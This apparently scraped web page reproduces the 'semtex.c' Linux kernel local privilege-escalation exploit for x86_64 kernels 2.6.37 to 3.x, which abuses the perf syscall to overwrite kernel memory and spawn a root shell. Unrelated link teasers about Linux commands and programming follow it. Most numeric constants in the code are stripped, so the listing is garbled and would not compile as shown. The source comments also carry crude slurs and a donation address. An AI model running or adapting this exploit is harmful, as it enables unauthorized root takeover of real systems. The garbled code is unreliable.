linux 2.6.37-3.x.x x86_64
/*
* linux 2.6.37-3.x.x x86_64, ~100 LOC
* gcc-4.6 -O2 semtex.c && ./a.out
* 2010 sd@fucksheep.org, salut!
*
* update may 2013:
* seems like centos 2.6.32 backported the perf bug, lol.
* jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
*/ #define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h> #define BASE 0x380000000
#define SIZE 0x010000000
#define KSIZE 0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337)))) void fuck() {
int i,j,k;
uint64_t uids[] = { AB(), AB(), AB(), AB() };
uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-));
uint64_t kbase = ((uint64_t)current)>>;
uint32_t *fixptr = (void*) AB();
*fixptr = -; for (i=; i<; i+=) {
uint64_t *p = (void *)¤t[i];
uint32_t *t = (void*) p[];
if ((p[] != p[]) || ((p[]>>) != kbase)) continue;
for (j=; j<; j++) { for (k = ; k < ; k++)
if (((uint32_t*)uids)[k] != t[j+k]) goto next;
for (i = ; i < ; i++) t[j+i] = ;
for (i = ; i < ; i++) t[j++i] = -;
return;
next:; }
}
} void sheep(uint32_t off) {
uint64_t buf[] = { 0x4800000001,off,,,,0x300 };
int fd = syscall(, buf, , -, -, );
assert(!close(fd));
} int main() {
uint64_t u,g,needle, kbase, *p; uint8_t *code;
uint32_t *map, j = ;
int i;
struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
assert((map = mmap((void*)BASE, SIZE, , 0x32, ,)) == (void*)BASE);
memset(map, , SIZE);
sheep(-); sheep(-);
for (i = ; i < SIZE/; i++) if (map[i]) {
assert(map[i+]);
break;
}
assert(i<SIZE/);
asm ("sidt %0" : "=m" (idt));
kbase = idt.addr & 0xff000000;
u = getuid(); g = getgid();
assert((code = (void*)mmap((void*)kbase, KSIZE, , 0x32, , )) == (void*)kbase);
memset(code, 0x90, KSIZE); code += KSIZE-; memcpy(code, &fuck, );
memcpy(code-,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % );
setresuid(u,u,u); setresgid(g,g,g);
while (j--) {
needle = AB(j+);
assert(p = memmem(code, , &needle, ));
if (!p) continue;
*p = j?((g<<)|u):(idt.addr + 0x48);
}
sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/) + );
asm("int $0x4"); assert(!setuid());
return execl("/bin/bash", "-sh", NULL);
}
linux 2.6.37-3.x.x x86_64的更多相关文章
- 每天一个linux命令(37):date命令
在linux环境中,不管是编程还是其他维护,时间是必不可少的,也经常会用到时间的运算,熟练运用date命令来表示自己想要表示的时间,肯定可以给自己的工作带来诸多方便. 1.命令格式: date [参数 ...
- vbox下安装 linux 64 bit出现“kernel requires an x86_64 cpu
今天在vbox下安装linux 64bit出现"kernel requires an x86_64 cpu, but only detected "的错误,网上有很多文章介 ...
- 【转】每天一个linux命令(37):date命令
原文网址:http://www.cnblogs.com/peida/archive/2012/12/13/2815687.html 在linux环境中,不管是编程还是其他维护,时间是必不可少的,也经常 ...
- 每天一个linux命令(37):free 命令
free命令可以显示Linux系统中空闲的.已用的物理内存及swap内存,及被内核使用的buffer.在Linux系统监控的工具中,free命令是最经常使用的命令之一. 1.命令格式: free [参 ...
- tenda u1 usb wireless device install driver for kali linux kernal Debian 4.3.3-7kali2 (2016-01-27) x86_64 GNU/Linux
因为内核比较新的关系,tenda官方网站上面提供给u1无线网卡的驱动并不能正常编译使用,编译的时候报一个类似错误 /usr/src/linux-headers--kali1-common/Makefi ...
- linux每日命令(37):top命令
top命令是Linux下常用的性能分析工具,能够实时显示系统中各个进程的资源占用状况,类似于Windows的任务管理器.下面详细介绍它的使用方法.top是一个动态显示过程,即可以通过用户按键来不断刷新 ...
- linux 下安装mysql-5.7.12-1.el6.x86_64.rpm-bundle.tar
-rw-rw-r--. hadoop hadoop Nov : mysql--.el6.x86_64.rpm-bundle.tar tar -xvf mysql-5.7.12-1.el6.x86_64 ...
- 《Linux命令行与shell脚本编程大全 第3版》Linux命令行---37
以下为阅读<Linux命令行与shell脚本编程大全 第3版>的读书笔记,为了方便记录,特地与书的内容保持同步,特意做成一节一次随笔,特记录如下:
- 每天一个Linux命令(37)kill命令
Linux中的kill命令用来终止指定的进程(terminate a process)的运行. kill可将指定的信息送至程序.预设的信息为SIGTERM(15),可将指定程序终止. ...
- 『学了就忘』Linux基础命令 — 37、Linux中挂载操作的相关命令
目录 1.mount命令介绍 (1)mount命令说明 (2)mount命令格式 2.mount命令示例 3.mount -a命令说明 4.-o特殊选项说明 5.exec/noexec选项说明 挂载就 ...
随机推荐
- C++语法 初始化列表 数组引用
只能在初始化列表initilizationlist中初始化的有: 1.const修饰的数据成员或者reference参考 2.基类的构造函数 注意,数组不能引用,亦即以下代码是不对的 void fun ...
- MFC RadioButton
添加一组RadioButton 多个radio button,IDC_RADIO1,IDC_RADIO2,IDC_RADIO3 ..将IDC_RADIO1的Group属性选择上,其他不要选Group属 ...
- js 带省略号的分页源码及应用实例
一.js:pagination.js /*--说明分页div id为:changpage*/var eachPageDataNum = 10;//每页显示记录数var nowPage = 1;//当前 ...
- Android常用查询网站
一.老罗的Android之旅爱生活,爱Android http://blog.csdn.net/luoshengyang 二.Android中文API http://www.android-doc.c ...
- jQuery 知识点积累
1.判断checkbox是否选中 $("#aa").prop("checked")==true2.给属性赋值 $("#aa").pr ...
- windows休眠命令
windows休眠命令 rundll32 powrprof.dll,SetSuspendState windows关闭休眠功能命令:powercfg -h off 1 打开“控制面板”→“电源选项”, ...
- jQuery Mobile 基础(第二章)
1.可折叠块: <div data-role="collapsible"> <h1>点击我 - 我可以折叠!</h1> <p>我是可 ...
- 记32位Oracle客户端登录报12560协议适配器错误的解决办法
国庆买了一台新电脑ThinkPad E431,i5双核CPU,8G内存,硬盘比较坑爹5400转的500G,重点是预装win8的64位简体中文版.大学时买了第一台电脑神舟笔记本,因为神舟电脑便宜,所以没 ...
- WPF MVVM 关闭View
在ViewModel中定义一个变量: private Action _closeAction; 在ViewModel的构造函数中这样定义:public MainWindowViewModel(Acti ...
- hdu 2545(并查集求节点到根节点的距离)
题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=2545 思路:dist[u]表示节点u到根节点的距离,然后在查找的时候更新即可,最后判断dist[u], ...